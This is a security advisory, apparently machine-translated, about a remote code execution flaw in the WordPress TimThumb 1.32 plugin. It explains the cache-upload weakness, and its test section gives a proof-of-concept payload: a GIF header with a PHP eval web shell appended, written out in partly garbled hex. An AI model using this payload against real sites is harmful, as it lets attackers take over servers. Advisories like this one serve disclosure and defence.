WordPress TimThumb Plugin Remote Code Execution Vulnerability

Release date:
Updated on:

Affected Systems:
WordPress TimThumb 1.32
Description:
--------------------------------------------------------------------------------
WordPress is a Blog (Blog, Blog) engine developed using the PHP language and MySQL database. you can create your own Blog on servers that support PHP and MySQL databases.

The WordPress TimThumb plugin has a remote code execution vulnerability. Remote attackers can exploit this vulnerability to execute arbitrary code in affected applications.

This vulnerability occurs because the script does not properly remotely check the uploaded cached files. By constructing an image file with valid MIME types, and then appending the PHP code, you can trick TimThumb into believing it is a valid image, then, the data is locally cached in the cache directory.

<* Source: MaXe

Link: http://www.exploit-db.com/exploits/17602/
Http://packetstormsecurity.org/news/view/19615/Zero-Day-Bug-Threatens-Many-WordPress-SItes.html
Http://code.google.com/p/timthumb/issues/detail? Id = 212
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

\ X47 \ x49 \ x46 \ x38 \ x39 \ x61 \ x01 \ x00 \ x01 \ x00 \ x80 \ x00 \ x00
\ XFF \ x00 \ x00 \ x00 \ x21 \ xF9 \ x04 \ x01 \ x00 \ x00 \ x00 \ x00
\ X00 \ x2C \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x01 \ x00 \ x00 \ x02 \ x02
\ X44 \ x01 \ x00 \ x3B \ x00 \ x3C \ x3F \ x68 \ cross 20 \ x40 \ x65
\ X76 \ x61 \ x6C \ x28 \ x24 \ x5F \ x47 \ x45 \ x54 \ x5B \ x27 \ x63 \ x6D
\ X64 \ x27 \ x5D \ x29 \ x3B \ x20 \ x3F \ x3E \ x00

(Transparent GIF + <? Php @ eval ($ _ GET ['cmd'])?>

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

WordPress
---------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://wordpress.org/